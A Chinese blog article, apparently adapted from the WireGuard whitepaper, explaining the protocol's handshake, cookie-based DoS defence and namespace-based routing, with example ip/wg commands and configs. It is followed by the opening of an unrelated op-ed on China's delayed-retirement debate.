（对于必须无限期地打开NAT会话或有状态防火墙的用例，可以选择将接口配置为定期发送经过身份验证的持久性Keepalive。）\n这种设计带来了极大的便利和最小的配置。 虽然拥有活跃中间人的攻击者当然可以修改这些未经身份验证的外部源IP，但是攻击者将无法解密或修改任何有效载荷，这仅相当于拒绝服务攻击， 只需从假定的中间人位置丢弃原始数据包，这已经很容易实现。 而且，无法解密并随后回复数据包的主机将很快被遗忘。\n发送和接收的数据流 漫游的设计，结合密钥路由表，在wg0接口上使用上节“Configuration 1”的配置，对数据包的发送和接收流程如下：\n本地生成(或转发)数据包，并准备在出方向接口wg0上传输:\n明文包到达WireGuard接口wg0。 数据包的目的IP地址192.168.87.21被检查，它与对等节点TrMv…WXX0匹配。(如果它没有匹配的对等点，它被丢弃，并且发送者被一个标准的ICMP“no route to host”数据包通知，并且返回-ENOKEY到用户空间。) 与对等方关联的安全会话的发送对称加密密钥和 nonce随机数计数器，\nTrMv … WXX0用于使用ChaCha20Poly1305算法加密明文数据包。 包含在第后续章节中说明的各个字段的标头被放在现在加密的数据包之前。 此标头和加密的数据包一起作为UDP数据包发送到与对等TrMv … WXX0关联的Internet UDP / IP端点，从而导致外部UDP / IP数据包包含标头和加密的内部- 包。 对等端点是预先配置的，或者是从接收到的最新经过正确身份验证的数据包的外部外部源IP标头字段中获悉的。 （否则，如果无法确定端点，则将数据包丢弃，发送ICMP消息，并将-EHOSTUNREACH返回到用户空间。） 一个UDP/IP数据包到达主机的UDP端口41414，该端口为wg0接口监听UDP端口:\n在正确的端口(在本例中，端口41414)上接收到一个UDP/IP数据包，其中包含一个特定的报头和一个加密的有效负载。 使用WireGuard报文头，WireGuard确定它与peer TrMv…WXX0的关联安全会话，检查消息计数器的有效性，并尝试使用安全会话中接收对称密钥对其进行身份验证和解密。如果它不能确定一个对等点或身份验证失败，数据包将被丢弃。 从数据包被正确验证以后，外部UDP/IP数据包的源IP被用于更新对等TrMv…WXX0的端点。 一旦数据包有效负载被解密，接口就有一个明文数据包。如果这不是一个IP包，它将被丢弃。否则，WireGuard检查明文包内的源IP地址是否在密钥路由表中有相应的路由。例如，如果解密的明文包的源IP是192.168.31.28，则这个数据包会被进行相应路由。但是，如果源IP是10.192.122.3，数据包就不会为这个对等体进行相应路由，而被丢弃。 如果明文包没有被丢弃，它将被插入到wg0接口的接收队列中。 可以将允许的IP列表分为两个列表—一个用于检查传入数据包的源地址，另一个用于根据目标地址选择对等方。但是，通过将它们保留在同一列表中，可以实现类似于反向路径过滤的功能。发送数据包时，将根据目标IP查询该列表。当接收到数据包时，将使用相同的列表来确定是否允许源IP。但是，与其询问接收数据包的发送对等方是否具有该源IP作为其允许的IP列表的一部分，它还可以询问一个更全局的问题-在表中为该源IP选择哪个对等方，并且这样做将从匹配的对等方接收数据包。这将强制执行发送和接收IP地址的一对一映射，因此，如果从特定对等方接收到数据包，则将确保对该IP的答复到达该同一个对等方。\n基本用法(Basic Usage) 在深入了解密码学和实现细节之前，看看一个使用WireGuard的简单命令行接口可能会很有用，从而将目前所介绍的概念具体化。\n考虑一个具有单个物理网络接口eth0的Linux环境，它使用192.95.5.69的公共IP将其连接到Internet。可以添加WireGuard接口wg0并使用标准ip实用程序进行配置在/ 24子网中具有10.192.122.3的隧道IP地址，如左图所示。然后可以使用wg（8）工具以多种方式配置密钥路由表，包括从配置文件中读取信息，如右图所示：\n![[../../_resources/WireGuard基本原理/64ad30b5188eaf66e087c13c5884d2e6_MD5.png]]\n此时，向该系统上的10.10.10.230发送数据包将通过wg0接口发送数据，该接口将使用与公钥gN65…z6EA相关联的安全会话加密数据包和发送加密和经过UDP封装的数据包到192.95.5.70:54421。当在wg0上收到来自10.10.10.230的数据包时，管理员可以确信它是来自gN65…z6EA。\n协议和加密学(Protocol\u0026amp;Cryptography) 如前所述，为了开始发送加密的封装数据包，必须先进行1-RTT密钥交换握手。发起方将消息发送到响应方，响应方将消息发送回发起方。在此握手之后，发起者可以使用共享的对称密钥对将加密消息发送给响应者，一个用于发送，一个用于接收，并且在第一个加密消息从发起方发送到响应方之后，响应方可以开始向发起方发送加密的消息。此顺序限制要求要求进行确认，如针对KEA + C [18]所述，并允许握手消息被异步处理以传输数据消息。这些消息除了使用新颖的cookie结构来减轻拒绝服务攻击之外，还使用Noise [23]中的“ IK”模式。该协议的最终结果是一个非常健壮的安全系统，该系统达到了认证密钥交换（AKE）安全性的要求[18]，避免了密钥泄露，避免了重播攻击，提供了完美的前向保密性，提供了静态公共身份的隐藏密钥类似于SIGMA [16]，并且具有拒绝服务攻击的能力。\nSilence is a Virtue： WireGuard的一个设计目标是避免在身份验证之前存储任何状态，并且不对未经身份验证的数据包发送任何响应。由于没有存储未经身份验证的数据包的状态，也没有生成响应，因此，WireGuard对非法对等端和网络扫描程序是不可见的。通过不允许未经身份验证的数据包影响任何状态，可以避免几类攻击。而且更普遍的是，有可能以一种根本不需要动态内存分配的方式来实现WireGuard，即使对于经过身份验证的数据包也是如此。但是，此属性要求响应者收到的第一条消息就对发起者进行身份验证。 像这样在第一个数据包中进行身份验证可能会使响应者面临重放攻击的风险。攻击者可以重播初始握手消息，以诱使响应者重新生成其临时密钥，从而使合法发起者的会话无效（尽管不会影响任何消息的保密性或真实性）。为防止这种情况，在第一个消息中包含12字节的TAI64N [7]时间戳，并对其进行加密和身份验证。响应者跟踪每个对等方收到的最大时间戳，并丢弃包含小于或等于该时间戳的数据包。 （实际上，它甚至不必是准确的时间戳；它仅必须是按对等方单调递增的96位数字。）如果响应方重新启动并丢失了此状态，那不是问题：即使初始可以重播较早的数据包，它不可能中断任何正在进行的安全会话，因为响应者刚刚重新启动，因此没有活动的安全会话要中断。一旦发起方在重新发起后与响应方重新建立了安全会话，发起方将使用更大的时间戳，从而使前一个时间戳无效。此时间戳可确保攻击者不会通过重播攻击中断发起者和响应者之间的当前会话。 (这也意味着两个不同的对等点不应该共享私钥，因为在这种情况下，发送给一个对等点的数据包可能会被重放给另一个对等点，随后产生的响应将导致发起者不由自主地从一个对等点漫游到另一个。但无论如何，一开始就不应该共享私钥。)从实现的角度来看，TAI64N[7]非常方便，因为它是big-endian，允许使用标准memcmp()对两个12字节的时间戳进行比较。由于WireGuard不使用签名，为了获得一定程度的可否认性，第一条消息仅依赖于两个对等点静态密钥的Diffie-Hellman结果进行身份验证。这意味着，如果它们中的任何一个静态密钥被破坏，攻击者将能够伪造包含最大时间戳值的初始消息(尽管它无法完成完整的handshap)，从而阻止所有未来的连接成功。虽然这看起来类似于传统的密钥泄露模拟漏洞(WireGuard并不是它的弱点)，但它实际上非常不同。因为，如果一个密钥泄露使得攻击者能够阻止其他节点再次使用他们泄露的密钥，那么攻击者实际上已经帮助了对这种泄露的正确响应。如果TIA64N时间戳的精度造成了不合适的信息泄漏，实现可能会截断时间戳的24位纳秒部分。\n可选的预共享对称密钥模式 WireGuard依赖于先与对等方(peer)彼此交换静态公钥，作为它们的静态身份。所有数据发送的保密性依赖于Curve25519 ECDH函数的安全性。为了减少量子计算未来的进步，WireGuard还支持一种模式，在这种模式中，任何一对对等点可以在它们之间额外预先共享一个256位的对称加密密钥，以增加一层对称加密。这里的攻击模式是，对手可能会长期记录加密的流量，希望有一天能够打破Curve25519并解密过去的流量。尽管从密钥管理的角度来看，预共享对称加密密钥通常很麻烦，而且更有可能被窃取，但这种想法是，当量子计算进步到突破Curve25519时，这种预共享对称密钥早已被遗忘。更重要的是，从短期来看，如果预先共享的对称密钥被破坏，Curve25519密钥仍然提供足够的保护。与使用完全的后量子密码系统(到编写时还不适合在这里使用)不同，这种预共享对称密钥的可选混合方法为极端偏执的人提供了一种合理的和可接受的折衷方案。此外，它还允许在WireGuard上构建复杂的键旋转方案，以实现各种类型的折衷后安全性。\nWireGuard依赖于先与对等方(peer)彼此交换静态公钥，作为它们的静态身份。发送的所有数据的保密性取决于Curve25519 ECDH功能的安全性。为了减轻将来在量子计算方面的任何进步，WireGuard还支持一种模式，在该模式下，任何对对端都可以在彼此之间预共享一个256位对称加密密钥，以便添加一层对称加密。这里的攻击模型是，攻击者可能会长期记录加密的流量，以期有一天能够打破Curve25519并解密过去的流量。虽然预共享对称加密密钥通常从密钥管理的角度来看很麻烦，并且可能更容易被盗，但是这种想法是，随着量子计算的发展打破了Curve25519，这种长共享对称密钥早已被人们遗忘。而且，更重要的是，在短期内，如果预共享的对称密钥遭到破坏，Curve25519密钥仍然可以提供足够的保护。替代使用完整的后量子密码系统（在撰写本文时不适合在此处使用），此预共享对称密钥的可选混合方法可补充椭圆曲线密码，为用户提供了合理的折衷方案。极度偏执。此外，它还允许在WireGuard上构建复杂的键旋转方案，以实现各种类型的折衷后安全性。\n缓解拒绝服务攻击和Cookies 即使Curve25519在大多数处理器上是非常快的曲线，计算Curve25519点乘法也是CPU密集型的。 为了确定握手消息的真实性，必须计算Curve25519乘法，这意味着可能会出现拒绝服务攻击。为了防止cpu耗尽攻击，如果响应方——消息的接收方——处于负载状态，它可以选择不处理握手消息(启动或响应握手消息)，而是使用包含cookie的cookie应答消息进行响应。然后发起者使用这个cookie来重新发送消息，并让它在接下来的时间被响应者接受。\n响应方维护一个秘密的随机值，该值每两分钟更改一次。cookie只是使用这个变化的密钥作为MAC密钥计算发起者源IP地址的MAC的结果。发起方在重新发送它的消息时，使用这个cookie作为MAC密钥发送它的消息的MAC。当responder接收到消息时，如果它处于负载状态，它可以根据是否有正确的MAC使用cookie作为密钥来选择是否接受和处理消息。这种机制将从发起者发送的消息绑定到它的IP地址，提供IP所有权的证明，允许使用经典的IP速率限制算法来限制速率(令牌桶等)。\n这或多或少是DTLS [24]和IKEv2 [13]使用的方案。 但是，它具有三个主要缺陷。 首先，我们希望保持silent，不要对未认证的消息发送任何回复； 在负载下不加选择地发送cookie回复消息会破坏此属性。 其次，cookie不应以明文形式发送，因为中间人可能会使用它来发送经过处理的欺诈性消息。 第三，发起者本人可能会被发送欺诈性cookie，从而遭到拒绝服务攻击，然后，它就无法成功使用它来计算其消息的MAC。 WireGuard的cookie机制使用两个MAC（msg.mac1和msg.mac2）解决了这些问题。\n对于第一个问题，为了响应方保持沉默，即使在负载下，所有消息都有一个使用响应方公钥的第一个MAC (msg.mac1)。这意味着，为了引出任何响应，发送消息的对等方至少必须知道它在与谁交谈(通过知道它的公钥)。无论是否加载，第一个MAC (msg.mac1)都必须存在且有效。虽然响应方的公钥本身不是秘密的，但在这个攻击模型中它是足够秘密的，其目标是确保服务的私密性，因此知道响应方的公钥就足以证明已经知道它的存在。(值得注意的是，第一个MAC允许被动攻击者猜测数据包的目的是哪个公钥，这略微削弱了身份隐藏属性，尽管正确的猜测不会构成密码证明，因为在生成MAC时没有使用私有材料。)\n同样地，为了解决第二个问题——用明文发送mac电脑——我们对传输中的cookie应用了一个扩展的随机现时的AEAD，同样使用响应方的公钥作为对称加密密钥。同样，这里的大多数公共价值对于我们在拒绝服务攻击威胁模型中的目的已经足够了。\n最后，为了解决第三个问题，我们使用AEAD的“附加数据”字段对传输中的cookie进行加密，对引发cookie回复消息的初始消息的第一个MAC (msg.mac1)进行附加认证。这确保了没有中间人的攻击者不能发送无效的cookie的种子到发起者，以防止他们验证一个正确的cookie。(攻击者一个中间人的位置可以简单地把cookie应答消息无论如何防止连接,所以这种情况下是不相关的,但攻击者,只是被动的中间人的地位的确可能伪造这些数据包,这不是明显不同于一个拒绝服务攻击的TCP)。换句话说，我们使用AD字段将cookie响应绑定到启动消息。\n解决了这些问题后，我们就可以使用安全传输的cookie作为MAC密钥添加前面提到的第二个MAC (msg.mac2)。当响应器处于负载状态时，它将只接受另外拥有第二个MAC的消息。\n总之，响应方在计算了这些mac并将其与收到的消息进行比较后，必须总是拒绝带有无效msg的消息。当负载不足时，可能会拒绝带有无效msg.mac2的消息。如果响应者收到一个有效的消息。mac1，但有一个无效的mac2，并在负载下，它可能会响应一个cookie回复消息。这大大改进了DTLS和IKEv2使用的cookie方案。\nHIPv2[20]通过使用2-RTT密钥交换和复杂性谜题解决了这个问题，与之相反，WireGuard避开了解谜结构，因为前者需要存储状态，而后者使发起者和响应者之间的关系不对称。在WireGuard中，任何节点上的任何一方都可能被激发开始握手。这意味着要求发起者提供一个复杂的难题是不可行的，因为发起者和响应者可能很快就会改变角色，从而将此缓解机制转变为拒绝服务漏洞本身。相反，我们上面的cookie解决方案支持在1-RTT协议上缓解拒绝服务攻击，同时保持发起者和响应者角色对称。\n消息交互（Messages） 有四种类型的消息，每一种都以一个单字节消息类型标识符作为前缀，标记为msg.type如下：\n开始建立安全会话的握手过程的握手启动消息。 对结束握手的初始化消息的握手响应，在此之后可以建立安全会话 对握手启动消息或握手响应消息的响应，它通信一个加密的cookie值，用于重新发送被拒绝的握手启动消息或握手响应消息。 一种封装和加密的IP包，它使用通过握手协商的安全会话。 ChaCha20 for symmetric encryption, authenticated with Poly1305, using RFC7539’s AEAD construction Curve25519 for ECDH BLAKE2s for hashing and keyed hashing, described in RFC7693 SipHash24 for hashtable keys HKDF for key derivation, as described in RFC5869 协议概述： 具体报文字段细节：https://www.wireguard.com/protocol/\n在大多数情况下,握手在1-RTT将完成,之后传输数据如下:\n![[../../_resources/WireGuard基本原理/559c117a62f7649a6bb6c2afc2610e0d_MD5.png]]\n如果有一个对等端负载不足，则在握手时添加一条cookie回复消息，以防止拒绝服务攻击:\n![[../../_resources/WireGuard基本原理/cc655557fca3a28a37ac1ff8ebf491fa_MD5.png]]\nRouting \u0026amp; Network Namespace Integration 与所有Linux网络接口一样，WireGuard集成到网络名称空间基础结构中。这意味着管理员可以拥有几个完全不同的网络子系统，并选择每个子系统中都存在哪些接口。\nWireGuard做了一些非常有趣的事情。创建WireGuard接口时(with ip link add wg0 type wireguard)，它会记住创建它的命名空间。我是在命名空间A中创建的。稍后，WireGuard可以移动到新的命名空间（我要移动到命名空间B），但它仍然会记得它起源于命名空间A。\nWireGuard使用UDP套接字发送和接收加密数据包。此套接字始终位于命名空间A-原始出生地命名空间中。这允许一些非常酷的属性。也就是说，您可以在一个命名空间(A)中创建WireGuard接口，将其移动到另一个命名空间(B)，并通过命名空间A中的UDP套接字。\n（请注意，通过在一个名称空间中创建套接字文件描述符，然后再更改为另一个名称空间，并使先前名称空间中的文件描述符保持打开状态，这种相同的技术可用于基于用户空间TUN的接口。）\n这提供了一些非常好的可能性。\n普通容器： 最明显的用法是为容器（例如Docker容器）提供WireGuard接口作为其唯一接口。\n复制\n1 2 3 4 5 6 7 8 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 17: wg0: \u0026lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP\u0026gt; mtu 1423 qdisc noqueue state UNKNOWN group default qlen 1 link/none inet 192.168.4.33/32 scope global wg0 valid_lft forever preferred_lft forever 在这里，唯一可能访问网络的方法是通过WireGuard接口wg0。\n![[../../_resources/WireGuard基本原理/501e6613a72019afe624647b90e5e48f_MD5.svg]]\n完成这样的设置的方法如下：\n首先，我们创建一个称为“container”的网络名称空间：\n​ # ip netns add container\n接下来，我们在“ init”（原始）名称空间中创建一个WireGuard接口：\n# ip link add wg0 type wireguard\n最后，我们将该接口移到新的名称空间中：\n# ip link set wg0 netns container\n现在，我们可以像往常一样配置wg0，除了我们这样做时指定它的新名称空间：\n复制\n1 2 3 4 # ip -n container addr add 192.168.4.33/32 dev wg0 # ip netns exec container wg setconf wg0 /etc/wireguard/wg0.conf # ip -n container link set wg0 up # ip -n container route add default dev wg0 现在访问“container”的任何网络资源的唯一方法就是通过WireGuard接口。\n请注意，Docker用户可以指定Docker进程的PID而不是网络名称空间名称，使用Docker已经为其容器创建的网络名称空间：\n# ip link set wg0 netns 879\n路由所有流量: 一种不太明显的用法，但功能极其强大，是使用WireGuard的此特性通过WireGuard重定向所有普通Internet流量。但是首先，让我们回顾一下执行此操作的旧的常用解决方案：\n经典解决方案: 经典的解决方案依赖于不同类型的路由表配置。对于所有这些，我们需要为实际的WireGuard端点设置一些显式路由。对于这些示例，让我们假设WireGuard端点是demo.wireguard.com，在编写时，它解析为163.172.161.0。此外，让我们假设我们通常使用eth0和192.168.1.1的经典网关连接到互联网。\n替换默认路由 最简单的技术是仅替换默认路由，为WireGuard端点添加一个明确的规则：\n复制\n1 2 3 # ip route del default # ip route add default dev wg0 # ip route add 163.172.161.0/32 via 192.168.1.1 dev eth0 这很有效并且相对简单，但是不幸的是，DHCP守护程序等都希望撤消我们刚才所做的事情。\n覆盖默认路由 因此，除了替换默认路由外，我们还可以使用另外两个特定的规则来覆盖它，这些规则的总和为默认值，但在默认值之前匹配：\n复制\n1 2 3 # ip route add 0.0.0.0/1 dev wg0 # ip route add 128.0.0.0/1 dev wg0 # ip route add 163.172.161.0/32 via 192.168.1.1 dev eth0 这样，我们就不会破坏默认路由。这也很好用，但是不幸的是，当eth0 up/down时，demo.wireguard.com的显式路由将被忘记，这很烦人。\n基于规则的路由 有些人更喜欢使用基于规则的路由和多个路由表。工作方式是我们为WireGuard路由创建一个路由表，为明文Internet路由创建一个路由表，然后添加规则来确定使用哪个路由表:\n复制\n1 2 3 # ip rule add to 163.172.161.0 lookup main pref 30 # ip rule add to all lookup 80 pref 40 # ip route add default dev wg0 table 80 现在，我们能够将路由表分开。不幸的是，缺点是仍然需要添加显式端点规则，并且在删除接口时没有清理，需要更复杂的路由规则重复。\n改进的基于规则的路由 先前的解决方案依赖于我们知道应该从tunnel中豁免的显式端点IP，但是WireGuard端点可以漫游，这意味着该规则可能会过时。幸运的是，我们能够对所有从WireGuard的UDP套接字发出的数据包设置fwmark，然后将其从tunnel中豁免:\n复制\n1 2 3 4 # wg set wg0 fwmark 1234 # ip route add default dev wg0 table 2468 # ip rule add not fwmark 1234 table 2468 # ip rule add table main suppress_prefixlength 0 我们首先在接口上设置fwmark，并在替代路由表上设置默认路由。然后我们指示没有fwmark的数据包应该转到这个替代路由表。最后，我们为仍然访问本地网络添加了一个方便的功能，通过这个功能，我们允许没有fwmark的数据包使用主路由表，而不是WireGuard接口的路由表，如果它匹配其中前缀长度大于零的任何路由，例如非默认本地路由。这是wg-Quick(8)工具使用的技术。\n改进经典解决方案 WireGuard的作者有兴趣在内核中添加一个名为notoif的特性来覆盖隧道用例。这将允许接口说“不要用我自己作为接口路由，以避免路由环路。”WireGuard将能够添加像.flowi4_not_oif = wg0_idx这样的行，基于用户空间tun的接口将能够在他们的输出套接字上设置一个选项，比如set so kopt(fd，so_NOTOIF, Tun0_idx);\n新的命名空间解决方案 事实证明，我们可以使用网络名称空间通过WireGuard路由所有互联网流量，而不是经典的路由表。这种方法的工作原理是，我们将连接到互联网的接口，如eth0或wlan0，移动到命名空间(我们称之为“physical”)，然后有一个WireGuard接口是init命名空间中唯一的接口。\n![[../../_resources/WireGuard基本原理/c737e00bd12b40aaedefd7b12463f92a_MD5.svg]]\n首先，我们创建“physical”网络名称空间：\n# ip netns add physical\n现在，将eth0和wlan0移到“physical”名称空间中：\n复制\n1 2 # ip link set eth0 netns physical # iw phy phy0 set netns name physical （请注意，必须使用iw并通过指定物理设备phy0来移动无线设备。）\n现在，我们在“physical”名称空间中具有这些接口，而在“init”名称空间中没有接口：\n复制\n1 2 3 4 5 6 7 8 9 10 11 # ip -n physical link 1: lo: mtu 65536 qdisc noop state DOWN mode DEFAULT group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: eth0: \u0026lt;NO-CARRIER,BROADCAST,MULTICAST,UP\u0026gt; mtu 1500 qdisc pfifo_fast state DOWN mode DEFAULT group default qlen 1000 link/ether ab\u0026#x1f4bf;ef:g1:23:45 brd ff:ff:ff:ff:ff:ff 3: wlan0: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc mq state UP mode DORMANT group default qlen 1000 link/ether 01:23:45:67:89:ab brd ff:ff:ff:ff:ff:ff # ip link 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 现在，我们将WireGuard接口直接添加到“physical”名称空间：\n# ip -n physical link add wg0 type wireguard\nwg0的出生地命名空间现在是physical命名空间，这意味着密文UDP套接字将分配给eth0和wlan0等设备。我们现在可以将wg0移动到init命名空间中；然而，它仍然会记得套接字的出生地。\n我们将“ 1”指定为“ init”命名空间，因为这是系统上第一个进程的PID。现在，“ init”名称空间具有wg0设备：\n复制\n1 2 3 4 5 6 # ip -n physical link set wg0 netns 1 # ip link 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 17: wg0: \u0026lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP\u0026gt; mtu 1423 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1 link/none 现在，我们可以使用普通工具配置物理设备，但是我们在“physical”网络名称空间内启动它们：\n复制\n1 2 3 # ip netns exec physical dhcpd wlan0 # ip netns exec physical wpa_supplicant -iwlan0 -c/etc/wpa_supplicant/wpa_supplicant.conf # ip -n physical addr add 192.168.12.52/24 dev eth0 依此类推。最后，我们可以像平常一样配置wg0接口，并将其设置为默认路由：\n复制\n1 2 3 4 # wg setconf wg0 /etc/wireguard/wg0.conf # ip addr add 10.2.4.5/32 dev wg0 # ip link set wg0 up # ip route add default dev wg0 完成了!在这一点上，系统上的所有普通进程都将通过“init”命名空间路由它们的数据包，该命名空间只包含wg0接口和wg0路由。然而，wg0的UDP套接字位于physical命名空间中，这意味着它将把流量从eth0或wlan0发送出去。正常的进程甚至不会意识到eth0或wlan0，除了dhcpcd和wpa_Request icant，它们是在“physical”命名空间中生成的。\n然而，有时您可能希望打开一个网页或使用physical命名空间快速执行某些操作。例如，也许你计划像往常一样通过WireGuard路由所有的流量，但是你所在的咖啡店要求你在它之前使用网站进行身份验证会给你一个真正的互联网链接。因此，可以使用物理接口执行选择进程（作为您的本地用户）:\n复制\n1 $ sudo -E ip netns exec physical sudo -E -u #$(id -u) -g #$(id -g) chromium 当然，可以将它做成.bashrc的一个不错的函数：\n复制\n1 g) \u0026ldquo;$@\u0026rdquo;; }physexec() { sudo -E ip netns exec physical sudo -E -u #$(id -u) -g #$(id -g) \u0026ldquo;$@\u0026rdquo;; } 现在，您可以编写以下代码在“physical”名称空间中打开chromium。\n复制\n1 $ physexec chromium 当您完成登录咖啡店网络的操作后，像往常一样生成一个浏览器，然后平静地冲浪，知道您的所有流量都受到WireGuard的保护：\n$ chromium\n示例脚本：\n以下示例脚本可以另存为/usr/local/bin/ wgphys，并用于诸如wgphys up，wgphys down和wgphys exec之类的命令：\n复制\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #!/bin/bash set -ex [[ $UID != 0 ]] \u0026amp;\u0026amp; exec sudo -E \u0026ldquo;$(readlink -f \u0026ldquo;$0\u0026rdquo;)\u0026rdquo; \u0026ldquo;$@\u0026rdquo; up() { killall wpa_supplicant dhcpcd | true ip netns add physical ip -n physical link add wgvpn0 type wireguard ip -n physical link set wgvpn0 netns 1 wg setconf wgvpn0 /etc/wireguard/wgvpn0.conf ip addr add 192.168.4.33/32 dev wgvpn0 ip link set eth0 down ip link set wlan0 down ip link set eth0 netns physical iw phy phy0 set netns name physical ip netns exec physical dhcpcd -b eth0 ip netns exec physical dhcpcd -b wlan0 ip netns exec physical wpa_supplicant -B -c/etc/wpa_supplicant/wpa_supplicant-wlan0.conf -iwlan0 ip link set wgvpn0 up ip route add default dev wgvpn0 } down() { killall wpa_supplicant dhcpcd | true ip -n physical link set eth0 down ip -n physical link set wlan0 down ip -n physical link set eth0 netns 1 ip netns exec physical iw phy phy0 set netns 1 ip link del wgvpn0 ip netns del physical dhcpcd -b eth0 dhcpcd -b wlan0 wpa_supplicant -B -c/etc/wpa_supplicant/wpa_supplicant-wlan0.conf -iwlan0 } execi() { exec ip netns exec physical sudo -E -u #${SUDO_UID:-$(id -u)} -g #${SUDO_GID:-$(id -g)} \u0026ndash; \u0026ldquo;$@\u0026rdquo; } command=\u0026quot;$1\u0026quot; shift case \u0026ldquo;$command\u0026rdquo; in up) up \u0026ldquo;$@\u0026rdquo; ;; down) down \u0026ldquo;$@\u0026rdquo; ;; exec) execi \u0026ldquo;$@\u0026rdquo; ;; *) echo \u0026ldquo;Usage: $0 up|down|exec\u0026rdquo; \u0026gt;\u0026amp;2; exit 1 ;; esac Wireguard安装配置： wireguard支持各平台。安装教程可参考官网教程。\nhttps://www.wireguard.com/install/\nhttps://www.wogong.net/blog/2019/01/how-to-configure-wireguard\nhttps://www.w3xue.com/exp/article/201811/9320.html\nhttps://lijiangwei.github.io/2019/06/17/wireguard/\n服务端配置：\n复制\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [root@centos7 wireguard]# more wg0.conf [Interface] PrivateKey = xxxx PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -A FORWARD -o %i -j ACCEPT; i ptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -D FORWARD -o %i -j ACCEPT; i ptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE Address = 192.168.2.1/32 ListenPort = 51820 DNS = 8.8.8.8 MTU = 1420 [Peer] PublicKey = xxx AllowedIPs = 192.168.2.2/32 如果需要服务端转发流量才需要配置PostUp，PostDown，只配置点对点通信的话不需要。\n客户端配置：\n复制\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 [root@localhost wireguard]# more wg0.conf [Interface] Address = 192.168.2.2/32 PrivateKey = XXX ListenPort = 21841 [Peer] PublicKey = XXX Endpoint = 140.143.154.78:51820 AllowedIPs = 192.168.2.1/32, 0.0.0.0/0 # This is for if you\u0026rsquo;re behind a NAT and # want the connection to be kept alive. PersistentKeepalive = 25 要想服务端转发客户端所有流量，在配置文件添加0.0.0.0/0即可。\n各配置项说明：https://fuckcloudnative.io/posts/wireguard-docs-practice/\n其他链接推荐：\nhttps://itigic.com/zh-CN/wireguard-vpn-installation-and-configuration/\n参考资料：\nhttps://www.wireguard.com/papers/wireguard.pdf\nhttps://www.wireguard.com/\n","permalink":"https://www.clearsec.org/posts/tech/wireguard%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/","summary":"\u003ch1 id=\"wireguard下一代内核网络隧道\"\u003eWireGuard:下一代内核网络隧道\u003c/h1\u003e\n\u003ch2 id=\"摘要\"\u003e\u003ca href=\"https://cshihong.github.io/2020/10/11/WireGuard%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/#%E6%91%98%E8%A6%81%EF%BC%9A\" title=\"摘要：\"\u003e\u003c/a\u003e摘要：\u003c/h2\u003e\n\u003cp\u003eWireGuard是一个安全的网络隧道，在第3层运行，作为Linux的内核虚拟网络接口实现，其目标是在大多数情况下取代IPsec，以及流行的用户空间和/或基于tls的解决方案，如OpenVPN，同时更安全、性能更高且更易于使用。虚拟隧道接口基于安全隧道的基本原则:对等公钥和隧道源IP地址之间的关联。它使用基于NoiseIK的单次往返密钥交换，并使用新的计时器状态机机制对用户透明地处理所有会话创建。短的预共享静态密钥（Curve25519点）用于OpenSSH风格的相互认证。该协议除了提供高度的身份隐藏之外，还提供了强大的完美前向保密性。使用ChaCha20Poly1305身份验证加密将数据包封装在UDP中可以实现传输速度。 IP绑定cookie的改进形式用于缓解拒绝服务攻击，从而大大改进了IKEv2和DTLS的cookie机制以添加加密和身份验证。总体设计不允许为接收到的数据包分配任何资源，并且从系统的角度来看，有多种有趣的Linux实现技术用于队列和并行性。最后，WireGuard可以轻松地用不到4,000行代码在Linux上实现，从而易于审核和验证。\u003c/p\u003e","title":"WireGuard基本原理"},{"content":"加速到来的人口老龄化又一次把延长退休年龄推向了风口浪尖。全国社保基金理事会党组书记戴相龙日前受访时表示，面对30多年后的人口老龄化高峰，国家管理的公共养老金收支会有较大缺口。他建议应逐步延长退休年龄，提出采取每5年把退休年龄延长1岁的制度设计。专家称阶梯式、渐进式的延长退休年龄是国际上通行的做法。\n相比此前“一步到位”的激进方案，“5年延1岁”的设计温和多了。不过这是一个容易撕裂社会情感的话题，争议和阻力并未因方案的温和而减少。这种撕裂从不同阶层的态度就可以看出来。从舆情分析看，支持延迟退休的主要是两大社会群体：官员和专家。其他阶层则多数反对延迟退休，辛苦了一辈子快到领退休金安享天年的时候，突然要延迟退休，心理上接受不了。\n分析支持者和反对者可以看到一个有意思的现象，支持延迟退休者，大多是既有养老体制的受益者，而反对者则多是相对被剥夺群体，甚至是受损者。中国在养老上实行的是双轨制，机关和事业单位发养老金，而企业单位是自己缴养老保险，从企业退休领到的养老金往往比从机关退休少得多。官员和专家支持延迟退休方案，因为这不仅不触动他们的既得利益，还能给他们带来利益；多数公众之所以反对，是因为这种改革没有触动他们最反对的养老双轨制。人们不患寡而患不均，养老账户的空账问题虽然严重，但他们可以接受一个低的养老金，可不能接受有些人比自己高那么多。人们其实不是反对延迟退休，而更多是反感政府在双轨制改革上对民意的漠视，动不了官员和专家，就拣软柿子捏。\n公众最大的期待是养老双轨制的并轨，把每个国民一起置于平等的体制下，先解决平等问题，再解决空账问题。而“延迟退休”则回避了这个核心问题，这正是作为双轨制受益者的官员和专家所期待的。\n延迟退休对官员和专家是有益的，官员大多希望延迟退休，因为延